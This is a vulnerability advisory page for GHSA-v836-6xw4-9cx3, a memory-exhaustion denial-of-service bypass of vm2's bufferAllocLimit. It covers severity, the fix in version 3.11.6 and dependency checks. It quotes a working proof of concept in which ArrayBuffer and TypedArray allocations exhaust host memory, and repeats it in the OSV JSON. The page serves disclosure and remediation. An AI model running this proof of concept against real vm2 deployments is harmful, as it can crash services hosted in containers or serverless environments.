GHSA-v836-6xw4-9cx3: Vm2 Denial of Service Vulnerability

HIGH
CVSS 7.5
CWE-770
Published
Advisory Summary

GHSA-v836-6xw4-9cx3 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 has memory exhaustion dos via bufferalloclimit bypass. Remediation is available by upgrading affected packages to version 3.11.6.

GHSA-v836-6xw4-9cx3 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-v836-6xw4-9cx3
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-v836-6xw4-9cx3

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.6
npm install vm2@3.11.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-v836-6xw4-9cx3, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.6), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary: The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap. ### Details: The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359). However, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense. A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt. ### Environment: - vm2 version: 3.11.3 - Node.js: v25.8.1 (affects all Node.js versions) - Configuration: Default `new VM()` or any configuration including `bufferAllocLimit` ### POC: ```javascript const { VM } = require('vm2'); // Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap // Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760" // But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated! // OOM kill in constrained environments (Docker, K8s, Lambda): vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))'); // → 10GB allocated → host OOM killed ``` **Verification:** ```bash node -e ' const {VM} = require("./lib/main.js"); const vm = new VM({bufferAllocLimit: 10*1024*1024}); try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); } console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); ' # Output: # Buffer BLOCKED # ArrayBuffer: 104857600 bytes allocated # SharedArrayBuffer: 104857600 bytes allocated ``` ### Impact: - **Type:** Denial of Service (Host Memory Exhaustion) - **Attack Complexity:** Low - **Availability Impact:** Complete, host process OOM killed in memory-constrained environments - **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.

GHSA-v836-6xw4-9cx3 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.6
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.11.6
3.11.6

References

Frequently Asked Questions

What is GHSA-v836-6xw4-9cx3?
GHSA-v836-6xw4-9cx3 is a security vulnerability in Vm2 involving vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.6 across affected packages: vm2.
What version fixes GHSA-v836-6xw4-9cx3?
Upgrading to 3.11.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.6. Upgrade your dependency to 3.11.6 or later.
What is the CVSS score of GHSA-v836-6xw4-9cx3?
GHSA-v836-6xw4-9cx3 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-v836-6xw4-9cx3?
GHSA-v836-6xw4-9cx3 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check npm dependencies for GHSA-v836-6xw4-9cx3?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v836-6xw4-9cx3",
  "modified" : "2026-08-17T17:32:57Z",
  "published" : "2026-08-17T17:32:57Z",
  "aliases" : [ ],
  "summary" : "vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass",
  "details" : "### Summary:\n\nThe `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap.\n\n### Details:\n\nThe `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359).\n\nHowever, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense.\n\nA single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt.\n\n### Environment:\n\n- vm2 version: 3.11.3\n- Node.js: v25.8.1 (affects all Node.js versions)\n- Configuration: Default `new VM()` or any configuration including `bufferAllocLimit`\n\n### POC:\n\n```javascript\nconst { VM } = require('vm2');\n\n// Operator sets bufferAllocLimit thinking they're protected:\nconst vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap\n\n// Buffer.alloc IS capped (as intended):\ntry { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }\ncatch(e) { console.log('Buffer.alloc blocked:', e.message); }\n// → \"Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760\"\n\n// But these BYPASS the cap entirely:\nvm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!\nvm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!\nvm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!\nvm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!\n\n// OOM kill in constrained environments (Docker, K8s, Lambda):\nvm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');\n// → 10GB allocated → host OOM killed\n```\n\n**Verification:**\n\n```bash\nnode -e '\nconst {VM} = require(\"./lib/main.js\");\nconst vm = new VM({bufferAllocLimit: 10*1024*1024});\ntry { vm.run(\"Buffer.alloc(20*1024*1024)\"); } catch(e) { console.log(\"Buffer BLOCKED\"); }\nconsole.log(\"ArrayBuffer:\", vm.run(\"new ArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\nconsole.log(\"SharedArrayBuffer:\", vm.run(\"new SharedArrayBuffer(100*1024*1024).byteLength\"), \"bytes allocated\");\n'\n# Output:\n# Buffer BLOCKED\n# ArrayBuffer: 104857600 bytes allocated\n# SharedArrayBuffer: 104857600 bytes allocated\n```\n\n### Impact:\n\n- **Type:** Denial of Service (Host Memory Exhaustion)\n- **Attack Complexity:** Low\n- **Availability Impact:** Complete, host process OOM killed in memory-constrained environments\n- **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-v836-6xw4-9cx3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T17:32:57Z",
    "nvd_published_at" : null
  }
}